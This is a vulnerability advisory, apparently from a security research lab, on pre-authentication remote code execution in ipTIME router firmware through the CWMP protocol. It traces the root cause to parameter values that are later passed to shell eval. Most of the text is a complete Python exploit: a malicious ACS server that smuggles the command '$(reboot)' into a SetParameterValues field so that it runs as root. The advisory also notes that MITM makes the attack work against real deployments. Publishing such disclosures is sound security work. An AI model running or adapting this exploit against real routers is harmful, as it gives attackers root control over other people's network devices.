Summary

An unauthenticated attacker can remotely execute arbitrary code via the CWMP protocol on the ipTIME router.

We have tried to reach out to the vendor through multiple channels (email and via KISA) but have not been able to receive any response.

Credit

The vulnerabilities have been discovered by, parkminchan, while working for SSD Labs Korea.

Affected Versions
  • ipTIME firmware version 15.324
Root Cause Analysis

The following file /usr/share/easycwmp/functions/common has the following code inside it:

common_set_value_check_param() {
    local arg="$1" 
    ...
    local val="$arg" // [0]
    ...
    echo "$refparam<delim>$setcmd \"$val\"<delim>$getcmd" >> $set_command_tmp_file // [1]
}
...

The /usr/sbin/easycwmp receives the SOAP message sent by the ACS and writes the parameter values from the message to a temporary file:

if [ "$action" = "apply_value" ]; then
    while read line; do
        [ -z "$line" ] && continue
        local setcmd=${line#*<delim>}
        setcmd=${setcmd%<delim>*}
        eval "$setcmd" // [2]
    done < $set_command_tmp_file
fi
...

When the session ends, each line of the temporary file mentioned above is read and executed via eval.

Therefore, if a parameter value such as $(reboot) which was passed earlier, is interpreted as a shell command and executed with root privileges.

Exploit
#!/usr/bin/env python3
import sys
import html
import http.server

PAYLOAD = "$(reboot)"
PORT = 80

NS = (
    'xmlns:soap_env="http://schemas.xmlsoap.org/soap/envelope/" '
    'xmlns:soap_enc="http://schemas.xmlsoap.org/soap/encoding/" '
    'xmlns:xsd="http://www.w3.org/2001/XMLSchema" '
    'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
    'xmlns:cwmp="urn:dslforum-org:cwmp-1-2"'
)

INFORM_RESP = (
    f'<?xml version="1.0"?>'
    f"<soap_env:Envelope {NS}>"
    '<soap_env:Header><cwmp:ID soap_env:mustUnderstand="1">{id}</cwmp:ID></soap_env:Header>'
    "<soap_env:Body><cwmp:InformResponse><MaxEnvelopes>1</MaxEnvelopes></cwmp:InformResponse></soap_env:Body>"
    "</soap_env:Envelope>"
)

SET_PARAM = (
    f'<?xml version="1.0"?>'
    f"<soap_env:Envelope {NS}>"
    '<soap_env:Header><cwmp:ID soap_env:mustUnderstand="1">1</cwmp:ID></soap_env:Header>'
    "<soap_env:Body><cwmp:SetParameterValues>"
    '<ParameterList soap_enc:arrayType="cwmp:ParameterValueStruct[1]">'
    "<ParameterValueStruct>"
    "<Name>{name}</Name>"
    '<Value xsi:type="xsd:string">{value}</Value>'
    "</ParameterValueStruct></ParameterList>"
    "<ParameterKey>k</ParameterKey>"
    "</cwmp:SetParameterValues></soap_env:Body>"
    "</soap_env:Envelope>"
)

EMPTY = (
    f'<?xml version="1.0"?>'
    f"<soap_env:Envelope {NS}>"
    '<soap_env:Header><cwmp:ID soap_env:mustUnderstand="1">0</cwmp:ID></soap_env:Header>'
    "<soap_env:Body/>"
    "</soap_env:Envelope>"
)

sessions = {}


class Handler(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        body = self.rfile.read(int(self.headers.get("Content-Length", 0)))
        ip = self.client_address[0]
        step = sessions.get(ip, 0)

        if step == 0 and b"Inform" in body:
            cid = "1"
            if b"<cwmp:ID" in body:
                i = body.index(b">", body.index(b"<cwmp:ID")) + 1
                cid = body[i : body.index(b"</", i)].decode(errors="replace")
            sessions[ip] = 1
            self.respond(INFORM_RESP.format(id=cid))

        elif step == 1:
            sessions[ip] = 2
            self.respond(
                SET_PARAM.format(
                    name=html.escape(
                        "InternetGatewayDevice.X_IPTIME.ScheduleReboot.Time"
                    ),
                    value=html.escape(PAYLOAD),
                )
            )

        else:
            sessions.pop(ip, None)
            self.respond(EMPTY)

    def respond(self, xml):
        data = xml.encode()
        self.send_response(200)
        self.send_header("Content-Type", "text/xml")
        self.send_header("Content-Length", len(data))
        self.end_headers()
        self.wfile.write(data)


if __name__ == "__main__":
    http.server.HTTPServer(("", PORT), Handler).serve_forever()

To simply reproduce the vulnerability, a malicious ACS server was set up and a PoC was written that configures the router’s CWMP settings to use the attacker’s ACS server.

In a real-world attack, even when a router communicates with a legitimate ACS server while using the CWMP option, pre-auth RCE can be achieved via MITM.

?

Get in touch

Skip to content